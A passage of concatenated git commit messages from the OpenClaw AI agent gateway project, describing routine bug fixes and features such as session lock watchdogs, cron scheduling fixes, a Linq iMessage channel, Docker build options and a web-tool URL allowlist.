was completely suppressed. Now it's included in the warnings array
of the DaemonActionResponse so programmatic consumers can surface it.
When the gateway token in config differs from the token embedded in the
service plist/unit file, restart will not apply the new token. This can
cause silent auth failures after OAuth token switches.
Changes:
- Add checkTokenDrift() to service-audit.ts
- Call it in runServiceRestart() before restarting
- Warn user with suggestion to run 'openclaw gateway install --force'
Closes#18018
When a cron job fires and completes within the same wall-clock second it
was scheduled for, the next-run computation could return undefined or the
same second, causing the scheduler to re-trigger the job hundreds of
times in a tight loop.
Two-layer fix:
1. computeJobNextRunAtMs: When computeNextRunAtMs returns undefined for a
cron-kind schedule (edge case where floored nowSecondMs matches the
schedule), retry with the ceiling (next second) as reference time.
This ensures we always get the next valid occurrence.
2. applyJobResult: Add MIN_REFIRE_GAP_MS (2s) safety net for cron-kind
jobs. After a successful run, nextRunAtMs is guaranteed to be at
least 2s in the future. This breaks any remaining spin-loop edge
cases without affecting normal daily/hourly schedules (where the
natural next run is hours/days away).
Fixes#17821
The webchat UI rendered [[reply_to_current]], [[reply_to:<id>]], and
[[audio_as_voice]] tags as literal text because extractText() passed
assistant content through without stripping inline directives.
Add stripDirectiveTags() to the UI chat layer and apply it to all three
extractText code paths (string content, content array, .text property)
for assistant messages only. Regex mirrors src/utils/directive-tags.ts.
Fixes#18079
When a model API call hangs indefinitely (e.g. Anthropic quota exceeded
mid-call), the gateway acquires a session .jsonl.lock but the promise
never resolves, so the try/finally block never reaches release(). Since
the owning PID is the gateway itself, stale detection cannot help —
isPidAlive() always returns true.
This commit adds four layers of defense:
1. **In-process lock watchdog** (session-write-lock.ts)
- Track acquiredAt timestamp on each held lock
- 60-second interval timer checks all held locks
- Auto-releases any lock held longer than maxHoldMs (default 5 min)
- Catches the hung-API-call case that try/finally cannot
2. **Gateway startup cleanup** (server-startup.ts)
- On boot, scan all agent session directories for *.jsonl.lock files
- Remove locks with dead PIDs or older than staleMs (30 min)
- Log each cleaned lock for diagnostics
3. **openclaw doctor stale lock detection** (doctor-session-locks.ts)
- New health check scans for .jsonl.lock files
- Reports PID status and age of each lock found
- In --fix mode, removes stale locks automatically
4. **Transcript error entry on API failure** (attempt.ts)
- When promptError is set, write an error marker to the session
transcript before releasing the lock
- Preserves conversation history even on model API failures
Closes#18060
Add support for Z.AI's native tool_stream parameter to enable real-time
visibility into model reasoning and tool call execution.
- Automatically inject tool_stream=true for zai/z-ai providers
- Allow disabling via params.tool_stream: false in model config
- Follows existing pattern of OpenRouter and OpenAI wrappers
This enables Z.AI API features described in:
https://docs.z.ai/api-reference#streaming
AI-assisted: Claude (OpenClaw agent) helped write this implementation.
Testing: lightly tested (code review + pattern matching existing wrappers)
Closes#18135
Synchronous hook that lets plugins inspect and optionally block messages
before they are written to the session JSONL file. Primary use case is
private mode... when enabled, the plugin returns { block: true } and the
message never gets persisted.
The hook runs on the hot path (synchronous, like tool_result_persist).
Handlers execute sequentially in priority order. If any handler returns
{ block: true }, the write is skipped immediately. Handlers can also
return a modified message to write instead of the original.
Changes:
- src/plugins/types.ts: add hook name, event/result types, handler map entry
- src/plugins/hooks.ts: add runBeforeMessageWrite() following tool_result_persist pattern
- src/agents/session-tool-result-guard.ts: invoke hook before every originalAppend() call
- src/agents/session-tool-result-guard-wrapper.ts: wire hook runner to the guard
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
On Windows, fs.promises.writeFile truncates the target file to 0 bytes
before writing. Since loadSessionStore reads the file synchronously
without holding the write lock, a concurrent read can observe the empty
file, fail to parse it, and fall through to an empty store — causing the
agent to lose its session context.
Changes:
- saveSessionStoreUnlocked (Windows path): write to a temp file first,
then rename it onto the target. If rename fails due to file locking,
retry 3 times with backoff, then fall back to copyFile (which
overwrites in-place without truncating to 0 bytes).
- loadSessionStore: on Windows, retry up to 3 times with 50ms
synchronous backoff (via Atomics.wait) when the file is empty or
unparseable, giving the writer time to finish. SharedArrayBuffer is
allocated once and reused across retry attempts.
Treat normal process exits (even with non-zero codes) as completed tool results.
This prevents standard exit codes (like grep exit 1) from being surfaced
as 'Tool Failure' warnings in the UI. The exit code is still appended
to the tool output for assistant awareness.
The gateway's system-presence.ts was not detecting the version when
OpenClaw is run as a launchd service, because the daemon-runtime.ts
sets OPENCLAW_SERVICE_VERSION but system-presence.ts only checked
OPENCLAW_VERSION and npm_package_version.
This caused 'openclaw status' to show 'unknown' for the version.
Issue: #18456🤖 AI-assisted (lightly tested)
Qwen 3 (and potentially other reasoning-capable models served via Ollama)
returns its final answer in a `reasoning` field with an empty `content`
field. This causes blank/empty responses since OpenClaw only reads `content`.
Changes:
- Add `reasoning?` to OllamaChatResponse message type
- Fall back to `reasoning` when `content` is empty in buildAssistantMessage
- Accumulate `reasoning` chunks during streaming when `content` is empty
This allows Qwen 3 to work correctly both with and without /no_think mode.
downgradeOpenAIReasoningBlocks was only called on model change, but
orphaned reasoning items (e.g. from an aborted stream) can exist without
a model switch and cause a 400 from the OpenAI Responses API.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
`models set` accepts any syntactically valid model ID without checking
the catalog, allowing typos to silently persist in config and fail at
runtime. It also unconditionally adds an empty `{}` entry to
`agents.defaults.models`, bypassing any provider routing constraints.
This commit:
- Validates the model ID against the catalog (skipped when catalog is
empty during initial setup)
- Warns when a new entry is added with empty config (no provider routing)
Closesopenclaw/openclaw#17183✍️ Author: Claude Code with @carrotRakko (AI-written, human-approved)
The gateway unconditionally scheduled a SIGUSR1 restart after every
update.run call, even when the update itself failed (broken deps,
build errors, etc.). This left the process restarting into a broken
state — corrupted node_modules, partial builds — causing a crash loop
that required manual intervention.
Three fixes:
1. Only restart on success: scheduleGatewaySigusr1Restart is now
gated on result.status === "ok". Failed or skipped updates still
write the restart sentinel (so the status can be reported back to
the user) but the running gateway stays alive.
2. Early bail on step failure: deps install, build, and ui:build now
check exit codes immediately (matching the preflight section) so a
failed deps install no longer cascades into a broken build and
ui:build.
3. Auto-repair config during update: the doctor step now runs with
--fix alongside --non-interactive, so unknown config keys left over
from schema changes between versions are stripped automatically
instead of causing a startup validation crash.
The global `agents.defaults.thinkingDefault` forces a single thinking
level for all models. Users running multiple models with different
reasoning capabilities (e.g. Claude with extended thinking, GPT-4o
without, Gemini Flash with lightweight reasoning) cannot optimise the
thinking level per model.
Add an optional `thinkingDefault` field to `AgentModelEntryConfig` so
each entry under `agents.defaults.models` can declare its own default.
Resolution priority: per-model → global → catalog auto-detect.
Example config:
"models": {
"anthropic/claude-sonnet-4-20250514": { "thinkingDefault": "high" },
"openai/gpt-4o": { "thinkingDefault": "off" }
}
Co-authored-by: Cursor <cursoragent@cursor.com>
Add automatic llms.txt awareness so agents check for /llms.txt or
/.well-known/llms.txt when exploring new domains.
Changes:
- System prompt: new 'llms.txt Discovery' section (full mode only,
when web_fetch is available) instructing agents to check for llms.txt
files when visiting new domains
- web_fetch tool: updated description to mention llms.txt discovery
llms.txt is an emerging standard (like robots.txt for AI) that helps
site owners describe how AI agents should interact with their content.
Making this a default behavior helps the ecosystem adopt agent-native
web experiences.
Ref: https://llmstxt.org
When a user sets `agents.defaults.model.primary: "ollama/gemma3:4b"`
but forgets to set OLLAMA_API_KEY, the error is a confusing
"unknown model: ollama/gemma3:4b". The Ollama provider requires any
dummy API key to register (the local server doesn't actually check it),
but this isn't obvious from the error.
Add `buildUnknownModelError()` that detects known local providers
(ollama, vllm) and appends an actionable hint with the env var name
and a link to the relevant docs page.
Before: Unknown model: ollama/gemma3:4b
After: Unknown model: ollama/gemma3:4b. Ollama requires authentication
to be registered as a provider. Set OLLAMA_API_KEY="ollama-local"
(any value works) or run "openclaw configure".
See: https://docs.openclaw.ai/providers/ollamaCloses#17328
The sparkle:version was incorrectly set to '11213' instead of '202602150',
causing the macOS app to not detect the 2026.2.15 update. Sparkle compares
versions as strings, so '11213' < '202602140' (2026.2.14's version), preventing
the update from being offered to users.
Fixesopenclaw/openclaw#18178
When the gateway connection fails due to device token mismatch (e.g., after
re-pairing the device), clear the stored device-auth token so that
subsequent connection attempts can obtain a fresh token.
This fixes the cron tool failing with 'device token mismatch' error
after running 'openclaw configure' to re-pair the device.
Fixes#18175
When an agent config specifies `model: { primary: "..." }` without
an explicit `fallbacks` array, the existing code replaced the entire
model object from `agents.defaults`—discarding the default fallbacks.
This caused cron jobs (and agent sessions) to have only one model
candidate (the pinned model) plus the global primary as a final
fallback, skipping all intermediate fallback models.
The fix merges the agent model override into the existing defaults
model object using spread, so that keys like `fallbacks` survive
when the agent only overrides `primary`. Agents can still explicitly
override or clear fallbacks by providing their own `fallbacks` array.
Reproduction scenario:
- `agents.defaults.model = { primary: "codex", fallbacks: ["opus", "flash", "deepseek"] }`
- Agent config: `model: { primary: "codex" }`
- Cron job pins: `model: "flash"`
- Before fix: fallback candidates = [flash, codex] (3 models lost)
- After fix: fallback candidates = [flash, opus, deepseek, ..., codex]
Add a `spawn` action to the /subagents command handler that invokes
spawnSubagentDirect() to deterministically launch a named subagent.
Usage: /subagents spawn <agentId> <task> [--model <model>] [--thinking <level>]
Also includes the shared subagent-spawn module extraction (same as the
refactor/extract-shared-subagent-spawn branch) since it hasn't merged yet.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Use stricter regex: /^[A-Za-z0-9+/]*={0,2}$/ ensures = only at end
- Normalize URL-safe base64 to standard (- → +, _ → /)
- Added tests for padding in wrong position and URL-safe normalization
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
Adds explicit base64 format validation in sanitizeContentBlocksImages()
to prevent invalid image data from being sent to the Anthropic API.
The Problem:
- Node's Buffer.from(str, "base64") silently ignores invalid characters
- Invalid base64 passes local validation but fails at Anthropic's stricter API
- Once corrupted data persists in session history, every API call fails
The Fix:
- Add validateAndNormalizeBase64() function that:
- Strips data URL prefixes (e.g., "data:image/png;base64,...")
- Validates base64 character set with regex
- Checks for valid padding (0-2 '=' chars)
- Validates length is proper for base64 encoding
- Invalid images are replaced with descriptive text blocks
- Prevents permanent session corruption
Tests:
- Rejects invalid base64 characters
- Strips data URL prefixes correctly
- Rejects invalid padding
- Rejects invalid length
- Handles empty data gracefully
Closes#18212
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
- Update test expectation: 'defaults to enable on Node 22'
- Update comment in fetch.ts to explain IPv4 fallback rationale
- Addresses greptile review feedback
Fixes issue where Telegram fails to send messages when IPv6 is configured
but not functional on the network.
Problem:
- Many networks (especially in Latin America) have IPv6 configured but
not properly routed by ISP/router
- Node.js tries IPv6 first, gets 'Network is unreachable' error
- With autoSelectFamily=false, Node doesn't fallback to IPv4
- Result: All Telegram API calls fail
Solution:
- Change default from false to true for Node.js 22+
- This enables automatic IPv4 fallback when IPv6 fails
- Config option channels.telegram.network.autoSelectFamily still available
for users who need to override
Symptoms fixed:
- Health check: Telegram | WARN | failed (unknown) - fetch failed
- Logs: Network request for 'sendMessage' failed
- Bot receives messages but cannot send replies
Tested on:
- macOS 26.2 (Sequoia)
- Node.js v22.15.0
- OpenClaw 2026.2.12
- Network with IPv6 configured but not routed
On macOS, `openclaw gateway install` hardcodes the system node
(/opt/homebrew/bin/node) in the launchd plist, ignoring the node from
version managers (fnm/nvm/volta). This causes the Gateway to run a
different node version than the user's shell environment.
Two fixes:
1. `resolvePreferredNodePath` now checks `process.execPath` first.
If the currently running node is a supported version, use it directly.
This respects the user's active version manager selection.
2. `buildMinimalServicePath` now includes version manager bin directories
on macOS (fnm, nvm, volta, pnpm, bun), matching the existing Linux
behavior.
Fixes#18090
Related: #6061, #6064
Follow-up to #18066 — three session file write sites were missed:
- auto-reply/reply/session.ts: forked session transcript header
- pi-embedded-runner/session-manager-init.ts: session file reset
- gateway/server-methods/sessions.ts: compacted transcript rewrite
All now use mode 0o600 consistent with transcript.ts and chat.ts.
Add sender_id (ctx.SenderId) to the openclaw.inbound_meta.v1 payload
so agents can reference it for moderation actions (delete, ban, etc.)
without relying on user-controlled text fields.
message_id and chat_id were already present; sender_id was the missing
piece needed for complete group moderation workflows.
When searching in FTS-only mode (no embedding provider), extract meaningful
keywords from conversational queries using LLM to improve search results.
Changes:
- New query-expansion module with keyword extraction
- Supports English and Chinese stop word filtering
- Null safety guards for FTS-only mode (provider can be null)
- Lint compliance fixes for string iteration
This helps users find relevant memory entries even with vague queries.
When no embedding provider is available (e.g., OAuth mode without API keys),
memory_search now falls back to FTS-only mode instead of returning disabled: true.
Changes:
- embeddings.ts: return null provider with reason instead of throwing
- manager.ts: handle null provider, use FTS-only search mode
- manager-search.ts: allow searching all models when provider is undefined
- memory-tool.ts: expose search mode in results
The search results now include a 'mode' field indicating 'hybrid' or 'fts-only'.
Extract parseGeminiAuth() to shared infra module and use it in both
embeddings-gemini.ts and inline-data.ts.
Previously, inline-data.ts directly set x-goog-api-key header without
handling OAuth JSON format. Now it properly supports both traditional
API keys and OAuth tokens.
Add parseGeminiAuth() to detect OAuth JSON format ({"token": "...", "projectId": "..."})
and use Bearer token authentication instead of x-goog-api-key header.
This allows OAuth users (using gemini-cli-auth extension) to use memory_search
with Gemini embedding API.
Walk users through Linq setup via `openclaw channels add` wizard
instead of requiring manual JSON config editing. Prompts for API
token, phone number, and webhook config with sensible defaults.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Send read receipt and typing indicator immediately on inbound messages
for a more natural iMessage experience. Add User-Agent header to all
Linq API requests. Fix delivery payload to use .text instead of .body.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Fixes incorrect path matching that would reject valid webhooks with
querystrings and match unintended prefixes like /linq-webhookX.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Adds a complete Linq iMessage channel adapter that replaces the existing
iMessage channel's Mac Mini + dedicated Apple ID + SSH wrapper + Full Disk
Access setup with a single API key and phone number.
Core implementation (src/linq/):
- types.ts: Linq webhook event and message types
- accounts.ts: Multi-account resolution from config (env/file/inline token)
- send.ts: REST outbound via Linq Blue V3 API (messages, typing, reactions)
- probe.ts: Health check via GET /v3/phonenumbers
- monitor.ts: Webhook HTTP server with HMAC-SHA256 signature verification,
replay protection, inbound debouncing, and full dispatch pipeline integration
Extension plugin (extensions/linq/):
- ChannelPlugin implementation with config, security, setup, outbound,
gateway, and status adapters
- Supports direct and group chats, reactions, and media
Wiring:
- Channel registry, dock, config schema, plugin-sdk exports, and plugin
runtime all updated to include the new linq channel
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Address review feedback: log a warning when endCall fails on stream
disconnect instead of silently discarding the error.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
When a Twilio media stream disconnects (e.g., caller hangs up or
network drops), the call object was left in an active state indefinitely.
This caused "stuck calls" that consumed resources and blocked new calls.
Now calls are automatically ended when their media stream closes,
matching the expected lifecycle behavior.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Address review feedback: log a warning when the stale call reaper
fails to end a call instead of silently discarding the error.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Adds a periodic reaper that automatically ends calls older than a
configurable threshold. This catches calls stuck in unexpected states,
such as notify-mode calls that never receive a terminal webhook from
the provider.
New config option:
staleCallReaperSeconds: number (default: 0 = disabled)
When enabled, checks every 30 seconds and ends calls exceeding the
max age. Recommended value: 120-300 for production deployments.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Add the missing extraArgs property to buildSandboxBrowserResolvedConfig
to satisfy the ResolvedBrowserConfig type, and fix import ordering.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Adds a `browser.extraArgs` config option (string array) that is appended
to Chrome's launch arguments. This enables users to add stealth flags,
window size overrides, custom user-agent strings, or other Chrome flags
without patching the source code.
Example config:
browser.extraArgs: ["--window-size=1920,1080", "--disable-infobars"]
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Address review feedback: the spread operator carries stale retry state
into replacement runs, potentially causing immediate force-expiration
without ever attempting announce delivery.
When runSubagentAnnounceFlow returns false (deferred), finalizeSubagentCleanup
resets cleanupHandled=false and removes from resumedRuns, allowing
retryDeferredCompletedAnnounces to pick it up again. If the underlying
condition persists (stale registry data, transient state), this creates an
infinite loop delivering 100+ announces over hours.
Fix:
- Add announceRetryCount + lastAnnounceRetryAt to SubagentRunRecord
- finalizeSubagentCleanup: after MAX_ANNOUNCE_RETRY_COUNT (3) failed attempts
or ANNOUNCE_EXPIRY_MS (5 min) since endedAt, mark as completed and stop
- resumeSubagentRun: skip entries that have exhausted retries or expired
- retryDeferredCompletedAnnounces: force-expire stale entries
Address review feedback: the in-memory deletion of initialMessage is
not persisted to disk, which is acceptable because a gateway restart
would also sever the media stream, making replay impossible.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Pre-generates TTS audio for the configured inboundGreeting at startup
and serves it instantly when an inbound call connects, eliminating the
500ms+ TTS synthesis delay on the first ring.
Changes:
- twilio.ts: Add cachedGreetingAudio storage with getter/setter
- runtime.ts: Pre-synthesize greeting TTS after provider initialization
- webhook.ts: Play cached audio directly via media stream on inbound
connect, falling back to the original TTS path for outbound calls
or when no cached audio is available
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Address review feedback:
- Move the OPENCLAW_INSTALL_BROWSER block after pnpm install so
playwright-core is available in node_modules
- Use node /app/node_modules/playwright-core/cli.js instead of
npx playwright to avoid npm override conflicts in Docker
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Adds a build arg OPENCLAW_INSTALL_BROWSER that, when set, pre-installs
Chromium (via Playwright) and Xvfb into the Docker image. This eliminates
the 60-90 second Playwright install that otherwise happens on every
container start when browser features are used.
Usage:
docker build --build-arg OPENCLAW_INSTALL_BROWSER=1 -t openclaw:browser .
Without the build arg, behavior is unchanged (no Chromium in image).
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Address review feedback: the pipe to sed swallowed the script's exit
code. Now capture output in a variable and check exit status separately
so failures are logged as warnings in the entrypoint output.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Adds an ENTRYPOINT script that runs user-provided init scripts from
/openclaw-init.d/ before starting the gateway. This is the standard
Docker pattern (used by nginx, postgres, etc.) for customizing container
startup without overriding the entire entrypoint.
Usage:
docker run -v ./my-init-scripts:/openclaw-init.d:ro openclaw
Scripts must be executable. Non-executable files are skipped with a
warning. Scripts run in alphabetical order with output prefixed.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Address review feedback: remove 2>/dev/null so that if the LanceDB
native binary download fails, the error is visible in Docker build
logs for debugging rather than silently swallowed.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
The memory-lancedb extension declares openai and @lancedb/lancedb as
dependencies, but these may not be available at runtime due to pnpm
hoisting behavior with native bindings. This adds an explicit install
step after the build to ensure the extension's dependencies are present.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
When OPENCLAW_HOME is set (indicating an isolated instance), the gateway
port should be read from config rather than inheriting OPENCLAW_GATEWAY_PORT
from a parent process. This fixes running multiple OpenClaw instances
where a child process would incorrectly use the parent's port.
Changes:
- resolveGatewayPort() now prioritizes config.gateway.port when OPENCLAW_HOME is set
- Added getConfigPath() function for runtime-evaluated config path
- Deprecated CONFIG_PATH constant with warning about module-load-time evaluation
- Updated gateway run command to use getConfigPath() instead of CONFIG_PATH
Fixes the issue where spawning a sandbox OpenClaw instance from within
another OpenClaw process would fail because OPENCLAW_GATEWAY_PORT from
the parent (set in server.impl.ts) would override the child's config.
Remove references in the navigation to deployment pages that do not exist:
- railway.md
- render.md
- northflank.md
These pages were listed in docs.json but the files do not exist
in any of the languages (en, es, pt-BR, zh-CN), causing broken links
in the documentation.
Fixes issues identified in the review of PR #14415.
Pre-existing test mocks lacked pendingMessagingMediaUrls and
messagingToolSentMediaUrls fields added by the media dedup feature,
causing runtime errors in handleToolExecutionEnd.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Wire media URL tracking through the embedded agent pipeline so that
media already sent via messaging tools is not delivered again by the
reply dispatcher.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Cover three integration points where media dedup could silently regress:
- trimMessagingToolSent FIFO cap at 200 entries
- buildReplyPayloads media filter wiring (new test file)
- followup-runner messagingToolSentMediaUrls filtering
listActions now unions gates across all enabled accounts (matching the
Signal pattern), and handleDiscordAction/handleTelegramAction resolve
through the per-account merged config instead of reading only the
top-level channel actions object. This lets account-specific
moderation/sticker/presence overrides take effect at both listing and
execution time.
The Cloud Code Assist API rejects anyOf/oneOf in tool schemas, not just
unsupported keywords. The image tool (index 21) had:
image: { anyOf: [{ type: "string" }, { type: "array" }] }
which caused "JSON schema is invalid" errors when forwarded to Anthropic
via google-antigravity.
simplifyUnionVariants only handles literal unions and single non-null
variants. This adds a fallback in cleanSchemaForGeminiWithDefs that
flattens any remaining anyOf/oneOf to a simple type schema.
Also reverts the previous provider-aware normalizeToolParameters and
sanitizeToolsForGoogle changes, which were incorrect — the cleaning IS
needed for Google's API regardless of which downstream model is used.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
google-antigravity serves Anthropic models (e.g. claude-opus-4-6-thinking),
not Gemini. sanitizeToolsForGoogle was stripping JSON Schema keywords
(minimum, maximum, format, etc.) needed for Anthropic's draft 2020-12
compliance, causing "JSON schema is invalid" rejections on tool 21
(web_search).
This was the actual root cause — the earlier normalizeToolParameters
fix was being overridden by this second sanitization pass.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
The cleanSchemaForGemini function was being applied universally to all
tools for all providers, stripping out valid JSON Schema keywords like
minimum/maximum that are required by Anthropic's draft 2020-12 validation.
This caused the 21st tool (web_search) to fail with google-antigravity
because its count parameter's constraints were being removed.
Changes:
- Modified normalizeToolParameters to accept modelProvider option
- Only apply Gemini-specific cleaning when provider is Gemini/Google
- Skip aggressive cleaning for Anthropic/google-antigravity providers
- Updated call site in createOpenClawCodingTools to pass modelProvider
Fixes schema validation errors for Anthropic models served via google-antigravity.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Remove dead loadSessions call from deleteSession controller that was
silently failing due to sessionsLoading guard. The refresh now happens
explicitly in the UI layer after successful deletion.
- src/ui/controllers/sessions.ts: remove internal loadSessions call
- src/ui/app-render.ts: add async onDelete handler with explicit refresh
- Add translation keys for language selector label and language names
- Update all locale files (en, pt-BR, zh-CN, zh-TW) with:
- overview.access.language key for selector label
- languages.* keys for language display names
- Localize language selector in overview.ts to react to locale changes
- Add validation for stored locale in app.ts to prevent invalid values
from causing silent failures in setLocale
Fixes issues identified in code review:
- Unlocalized language selector inconsistency
- Settings locale type drift risk
`openclaw doctor` audited gateway service runtime/path settings but did not
check whether the daemon's `OPENCLAW_GATEWAY_TOKEN` matched
`gateway.auth.token` in `openclaw.json`.
After re-pairing or token rotation, the config token and service env token can
drift. The daemon may keep running with a stale service token, leading to
unauthorized handshake failures for cron/tool clients.
Add a gateway service audit check for token drift and pass
`cfg.gateway.auth.token` into service audits so doctor treats config as the
source of truth when deciding whether to reinstall the service.
Key design decisions:
- Use `gateway.auth.token` from `openclaw.json` as the authority for service
token drift detection
- Only flag mismatch when an authoritative config token exists
- Keep fix in existing doctor service-repair flow (no separate migration step)
- Add focused tests for both audit mismatch behavior and doctor wiring
Fixes#18175
When a user interacts with the bot inside a DM topic (thread), the
session persists `lastThreadId`. If the user later sends a message
from the main DM (no topic), `ctx.MessageThreadId` is undefined and
the `||` fallback picks up the stale persisted value — causing the
bot to reply into the old topic instead of the main conversation.
Only fall back to `baseEntry.lastThreadId` for thread sessions where
the fallback is meaningful (e.g. consecutive messages in the same
thread). Non-thread sessions now correctly leave threadId unset.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Catch GrammyError when getFile fails for files >20MB (Telegram Bot API limit).
Log warning, skip attachment, but continue processing message text.
- Add FILE_TOO_BIG_RE regex to detect 'file is too big' errors
- Add isFileTooBigError() and isRetryableGetFileError() helpers
- Skip retrying permanent 400 errors (they'll fail every time)
- Log specific warning for file size limit errors
- Return null so message text is still processed
Fixes#18518
pruneStaleEntries() removed entries from sessions.json but left the
corresponding .jsonl transcript files on disk indefinitely.
Added an onPruned callback to collect pruned session IDs, then
archives their transcript files via archiveSessionTranscripts()
after pruning completes. Only runs in enforce mode.
cleanOldMedia() only scanned the top-level media directory, but
saveMediaBuffer() writes to subdirs (inbound/, outbound/, browser/).
Files in those subdirs were never cleaned up.
Now recurses one level into subdirectories, deleting expired files
while preserving the subdirectory folders themselves.
Addresses review feedback — channelName was declared but only
prefix was used for change messages.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
When a channel is configured with dmPolicy="open" but without
allowFrom: ["*"], the gateway rejects the config and exits.
The error message suggests running "openclaw doctor --fix", but
the doctor had no repair logic for this case.
This adds a repair step that automatically adds "*" to allowFrom
(or creates it) when dmPolicy="open" is set without the required
wildcard. Handles both top-level and nested dm.allowFrom, as well
as per-account configs.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
The preflight transcription condition only triggered for group chats
(isGroup && requireMention), so voice notes sent in direct messages
were never transcribed — they arrived as raw <media:audio> placeholders.
This patch widens the condition to fire whenever there is audio and no
accompanying text, regardless of chat type.
It also adds a fallback path: if the standard media pipeline returns no
transcript (e.g. format mismatch, missing config), OpenClaw now calls
the configured whisper CLI command directly with the audio file, using
the same {{MediaPath}}/{{OutputBase}} template variables from config.
Co-Authored-By: TH <tzhsn.huang@gmail.com>
Anthropic's API rejects `anyOf` in `input_schema`, causing all Claude
requests to fail when the image tool is registered. Replace
`Type.Union([Type.String(), Type.Array(Type.String())])` with
`Type.String()` — the execute handler already normalizes both string
and array inputs, so this is schema-only.
Fixes#18551
Make before_agent_start override merging preserve the first defined
model/provider override so higher-priority hooks cannot be overwritten by
lower-priority handlers, and align the corresponding test title and
expectation with the intended precedence behavior.
Co-authored-by: Cursor <cursoragent@cursor.com>
Layer 1: Hook merger tests verify modelOverride/providerOverride are
correctly propagated through the before_agent_start merger with
priority ordering, backward compatibility, and field isolation.
Layer 2: Pipeline wiring tests verify the earlyHookResult passthrough
contract between run.ts and attempt.ts, graceful error degradation,
and that overrides correctly modify provider/model variables.
19 tests total across 2 test files.
Enable plugins to override the model and provider for agent runs by
returning modelOverride/providerOverride from the before_agent_start
hook. The hook is now invoked early in run.ts (before resolveModel)
so overrides take effect. The result is passed to attempt.ts via
earlyHookResult to prevent double-firing.
This enables security-critical use cases like routing PII-containing
prompts to local models instead of cloud providers.
Add transcript size monitoring to /status and session_status tool.
Displays file size and message count (e.g. '📄 Transcript: 1.2 MB,
627 messages'). Shows ⚠️ warning when transcript exceeds 1 MB, which
helps catch sessions approaching the compaction death spiral described
in #13624.
- getTranscriptInfo() reads JSONL file stat + line count
- Wired into both /status command and session_status tool
- 8 new tests covering file reading, formatting, and edge cases
Add optional urlAllowlist config at tools.web level that restricts which
URLs can be accessed by web tools:
- Config types (types.tools.ts): Add urlAllowlist?: string[] to tools.web
- Zod schema: Add urlAllowlist field to ToolsWebSchema
- Schema help: Add help text for the new config fields
- web_search: Filter Brave search results by allowlist (provider=brave)
- web_fetch: Block URLs not matching allowlist before fetching
- ssrf.ts: Export normalizeHostnameAllowlist and matchesHostnameAllowlist
URL matching supports:
- Exact domain match (example.com)
- Wildcard patterns (*.github.com)
When urlAllowlist is not configured, all URLs are allowed (backwards compatible).
Tests: Add web-tools.url-allowlist.test.ts with 23 tests covering:
- URL allowlist resolution from config
- Wildcard pattern matching
- web_fetch error response format
- Brave search result filtering
Previously, the synchronization of credentials to the agent's file was limited to OAuth profiles. This prevented other providers and credential types from being correctly registered for agent use.
This update expands the synchronization to include , (mappedto ), and credentials for all configured providers.
It ensures the agent's accurately reflects available credentials, enabling proper authentication and model discovery.
The synchronization now:
- Converts all supported credential types.
- Skips profiles with empty keys.
- Preserves unrelated entries in the target .
- Only writes to disk when actual changes are detected.
When streaming providers (GLM, OpenRouter, etc.) return 'stop reason: abort'
due to stream interruption, OpenClaw's failover mechanism did not recognize
this as a timeout condition. This prevented fallback models from being
triggered, leaving users with failed requests instead of graceful failover.
Changes:
- Add abort patterns to ERROR_PATTERNS.timeout in pi-embedded-helpers/errors.ts
- Extend TIMEOUT_HINT_RE regex to include abort patterns in failover-error.ts
Fixes#18453
Co-authored-by: James <james@openclaw.ai>
Fixes flashing conhost.exe windows on Windows when exec module spawns
child processes. The windowsHide: true option prevents orphaned conhost.exe
processes and eliminates disruptive terminal window flashing.
Closes#18613
Process trees (pty sessions, tool exec) were being SIGKILL'd immediately
without any grace period for cleanup. This prevented child processes from:
- Flushing buffers and closing files cleanly
- Closing network connections
- Terminating their own child processes
- Removing temporary files
Changes:
- Send SIGTERM to process group first (Unix)
- Wait configurable grace period (default 3s)
- Then SIGKILL if process still alive
- Windows: taskkill without /F first, then with /F after grace period
- Use unref() on timeout to not block event loop exit
Fixes#18619
Co-authored-by: James <james@openclaw.ai>
When /new rotates <session>.jsonl to <session>.jsonl.reset.*, the session-memory hook may read an empty active transcript and write header-only memory entries.
Add fallback logic to read the latest .jsonl.reset.* sibling when the primary file has no usable content.
Also add a unit test covering the rotated transcript path.
Fixes#18088
Refs #17563
* CLI: clarify config vs configure descriptions
* CLI: improve top-level command descriptions
* CLI: make direct command help more descriptive
* CLI: add commands hint to root help
* CLI: show root help hint in implicit help output
* CLI: add help example for command-specific help
* CLI: tweak root subcommand marker spacing
* CLI: mark clawbot as subcommand root in help
* CLI: derive subcommand markers from registry metadata
* CLI: escape help regex CLI name
Bare numeric Discord IDs (e.g. '1470130713209602050') in cron
delivery.to caused 'Ambiguous Discord recipient' errors and silent
delivery failures.
